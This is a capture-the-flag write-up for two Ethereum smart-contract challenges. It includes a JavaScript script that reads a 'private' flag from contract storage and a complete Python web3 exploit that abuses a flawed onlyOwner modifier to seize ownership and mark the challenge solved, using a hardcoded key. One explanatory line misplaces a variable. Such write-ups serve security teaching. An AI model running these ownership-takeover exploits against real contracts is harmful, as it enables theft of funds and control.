# CTF collection
## web3 01
### method 1
**ABI:**
```python
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"name": "changeOwner",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "opensafe",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
]
```
```solidity
// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0 < 0.9.0;
contract Safe {
address public owner;
string private flag = "CTF{FAKE_FLAG}";
constructor() {
owner = msg.sender;
}
function opensafe() public view returns (string memory) {
if(owner == msg.sender){
return flag;
}
else {
return "Your not owner!!";
}
}
function changeOwner(address _owner) public {
require(owner == msg.sender, "Your not owner!!");
owner = _owner;
}
}
```
- you can see opensafe can call with any user with if owner == msg.sender we will receive flag
- call owner beacause it is public `address public owner;`
- call opensafe with owner_address and get flag
### method 2
```javascript
const ethers = require('ethers');
// Connect to the Sepolia network via Infura
const provider = new ethers.providers.JsonRpcProvider('https://sepolia.infura.io/v3/replace');
const contractAddress = '0x5e992854Bd912ae170b7b5b8a64323e4e5E0feAF';
async function readStorageSlot(slot) {
try {
const data = await provider.getStorageAt(contractAddress, slot);
console.log(`Data at slot ${slot}:`, data);
// Check if the string is stored in the same slot or in another location
const lengthHex = data.slice(64);
const length = parseInt(lengthHex, 16);
console.log('Length:', length);
if (length > 31) {
// The string is stored in a different storage slot
const hashSlot = ethers.utils.keccak256(ethers.utils.defaultAbiCoder.encode(["uint256"], [slot]));
let stringData = '';
let currentSlot = ethers.BigNumber.from(hashSlot);
for (let i = 0; i < Math.ceil(length / 32); i++) {
const chunk = await provider.getStorageAt(contractAddress, currentSlot);
stringData += chunk.slice(2); // Remove the "0x" prefix
currentSlot = currentSlot.add(1);
}
const flag = ethers.utils.toUtf8String('0x' + stringData.slice(0, length * 2));
console.log('Flag:', flag);
} else {
// The string is stored in the same storage slot
const stringData = data.slice(0, length * 2);
const flag = ethers.utils.toUtf8String('0x' + stringData);
console.log('Flag:', flag);
}
} catch (error) {
console.error('Error reading storage slot:', error);
}
}
// Read the storage slot 1 for the flag variable
readStorageSlot(1);
```
## web3 02
**ABI:**
```python
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "target",
"type": "address"
},
{
"internalType": "bytes",
"name": "data",
"type": "bytes"
}
],
"name": "adminCall",
"outputs": [
{
"internalType": "bytes",
"name": "",
"type": "bytes"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "excellentMember",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"name": "excellentMembers",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "join",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "member",
"type": "address"
}
],
"name": "registryExcellentMember",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "bool",
"name": "opinion",
"type": "bool"
}
],
"name": "setJoin",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "solve",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "solved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
```
- we can see 2 class define for this smart contract
```solidity
Ownable.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
abstract contract Ownable {
address public owner;
constructor(address initialOwner) {
owner = initialOwner;
}
modifier onlyOwner() {
_;
require(owner == msg.sender, "Only owner");
}
function renounceOwnership() public virtual onlyOwner {
owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
owner = newOwner;
}
}
```
```solidity
ExcellentMember.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./Ownable.sol";
contract ExcellentMember is Ownable {
bool public solved;
mapping(address => bool) public join;
mapping(address => bool) public excellentMember;
address[] public excellentMembers;
constructor() Ownable(msg.sender) {
excellentMember[address(this)] = true;
excellentMembers.push(address(this));
}
function adminCall(address target, bytes memory data) external payable onlyOwner returns (bytes memory) {
(bool success, bytes memory returnData) = target.call{value: msg.value}(data);
require(success, "Fail Low-Level call");
return returnData;
}
function setJoin(bool opinion) external {
join[msg.sender] = opinion;
}
function registryExcellentMember(address member) external {
require(!excellentMember[member], "Already excellent member");
require(join[member], "Set join");
require(excellentMember[msg.sender] == true, "Only excellent member");
excellentMember[member] = true;
excellentMembers.push(member);
}
function solve() external {
if (excellentMember[tx.origin] == true) {
solved = true;
}
}
}
```
*Ownable.sol*
- in abstract class Ownable we can see public attribute `solved` -> if true we can access flag
- contructor to init new object owner is `initialOwner` value address
- modifier is middleware to check only owner can access method
- renounceOwnership can call only by owner to setter owner is adress[0]
- transferOwnership can call only by owner to setter new ownership for contract
*ExcellentMember.sol*
- impliment abstract Ownable
- attribute solved can access(call) public
- attribute mapping join we can call with join(address) -> we can check user_address is join
- attribute mapping excellentMember we can call tho check user_address is excellent mem
- attribute excellentMembers can access is array with type address
- contructor Ownable with paramater `msg.sender` -> this address will be excellentMember with this address and push this user_address to array address
- method adminCall only can call with owner can call any method from any address value
- setJoin can call by every user -> set joined
- registryExcellentMember can call with any user to nominate user to be excellentMember if user is join
- metho solve can call check if curren user is excellentMember `solved = true` -> we will access flag
### detect
- we can see middleware:
```solidity
modifier onlyOwner() {
_;
require(owner == msg.sender, "Only owner");
}
```
- placeholder is before the line check -> all of method `payable onlyOwner` only owner only possible deposit/withdrawal ETH
- we can call `function transferOwnership(address newOwner) public virtual onlyOwner` to control owner
- after that, we call `adminCall` to call `registryExcellentMember` by target to become excellentMembers
- call soved to set solved is true
- access flag in url/flag
### exploit
```python
from web3 import Web3
level_contract_address = "0x7577b6edB14bfDf0360E85f0Dd6b97E0EC18DB03"
user_private_key = "0x5a5c11b7f0cbf85eae25abcc6180c0a91e4270bdcbdfa870b66715526745f69e"
user_address = "0x000Bae0eb423ba30268874A21C2f8B94c62192b5"
RPC_URL = "RPC_URL/fc763a96d380/rpc"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
abi = [
{ "inputs": [], "stateMutability": "nonpayable", "type": "constructor" },
{ "inputs": [ { "internalType": "address", "name": "target", "type": "address" }, { "internalType": "bytes", "name": "data", "type": "bytes" } ], "name": "adminCall", "outputs": [ { "internalType": "bytes", "name": "", "type": "bytes" } ], "stateMutability": "payable", "type": "function" },
{ "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "excellentMember", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
{ "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "excellentMembers", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" },
{ "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "join", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
{ "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" },
{ "inputs": [ { "internalType": "address", "name": "member", "type": "address" } ], "name": "registryExcellentMember", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
{ "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
{ "inputs": [ { "internalType": "bool", "name": "opinion", "type": "bool" } ], "name": "setJoin", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
{ "inputs": [], "name": "solve", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
{ "inputs": [], "name": "solved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
{ "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }
]
account = w3.eth.account.from_key(user_private_key)
contract = w3.eth.contract(address=level_contract_address, abi=abi)
nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.transferOwnership(user_address).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'nonce': nonce,
'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"TransferOwnership transaction completed: {receipt.transactionHash.hex()}")
nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.setJoin(True).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'nonce': nonce,
'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"SetJoin transaction completed: {receipt.transactionHash.hex()}")
excellent_member = contract.functions.excellentMembers(0).call()
print(f"First excellent member: {excellent_member}")
function_selector = w3.keccak(text="registryExcellentMember(address)")[0:4]
padded_address = user_address[2:].lower().zfill(64)
data = function_selector + bytes.fromhex(padded_address)
nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.adminCall(level_contract_address, data).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 300000,
'gasPrice': w3.eth.gas_price,
'nonce': nonce,
'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"AdminCall transaction completed: {receipt.transactionHash.hex()}")
is_excellent = contract.functions.excellentMember(user_address).call()
print(f"Is excellent member: {is_excellent}")
nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.solve().build_transaction({
'chainId': w3.eth.chain_id,
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'nonce': nonce,
'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Solve transaction completed: {receipt.transactionHash.hex()}")
solved = contract.functions.solved().call()
print(f"Challenge solved: {solved}")
```